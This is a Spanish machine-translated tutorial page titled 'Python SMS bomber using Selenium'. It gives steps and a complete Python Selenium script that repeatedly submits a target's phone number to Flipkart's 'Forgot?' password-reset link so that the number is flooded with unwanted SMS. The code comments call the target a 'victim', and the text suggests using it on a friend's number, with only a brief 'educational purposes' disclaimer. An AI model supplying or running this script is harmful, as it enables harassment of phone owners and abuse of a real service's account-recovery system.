Python | Bombardero de SMS usando Selenium

Aquí, vamos a aprender un simple truco de bombardeo de SMS (con fines divertidos y educativos). Selenium es una herramienta gratuita para pruebas automatizadas en diferentes navegadores. En este tutorial, aprenderemos a enviar automáticamente una cantidad de SMS no deseados para una cantidad determinada de frecuencia e intervalo.
Requisito: 
debe instalar Chromedriver y establecer la ruta. Haga clic aquí para descargar.
A continuación se muestran los pasos: 
 

  • Primero vaya al sitio web de flipkart usando este enlace.
  • Luego haga clic en inspeccionar elemento presionando ctrl + shift + i o vaya a la configuración del navegador y haga clic en inspeccionar elemento manualmente.
  • Luego busque el nombre de clase del campo de entrada «Ingrese el número» y «¿Olvidó?» Enlace. Lo usaremos más tarde.

FInd class name of 'Ente the number' input fieldFind class name of 'Forgot?' link

  • Ahora, ejecute el script poniendo el nombre de clase apropiado para cada elemento.
  • Ahora enviará automáticamente sms de spam al número de móvil de su amigo.

Nota: este tutorial es solo para fines educativos, no lo use para molestar a nadie ni de manera poco ética.
A continuación se muestra la implementación: 
 

Python3

from selenium import webdriver
import time
 
# create instance of Chrome webdriver
browser = webdriver.Chrome()
 
# set the frequency of sms which is approx maximum to 10 per 24 days
frequency = 10
 
# target mobile number, change it to victim's number and
# also ensure that it's registered on flipkart
mobile_number ="1234567890"
 
for i in range(frequency):
    browser.get('https://www.flipkart.com/account/login?ret=/')
 
    # find the element where we have to
    # enter the number using the class name
    number = browser.find_element_by_xpath('//*[@id="container"]/div/div[3]/div/div[2]/div/form/div[1]/input')
 
    # automatically type the target number
    number.send_keys("1234567890")
     
    # find the element to send a forgot password
    # request using it's class name
    forgot = browser.find_element_by_link_text('Forgot?')
     
    # clicking on that element
    forgot.click()
     
    # set the interval to send each sms
    time.sleep(2)
     
# Close the browser
browser.quit()

Publicación traducida automáticamente

Artículo escrito por gjaiswal108 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *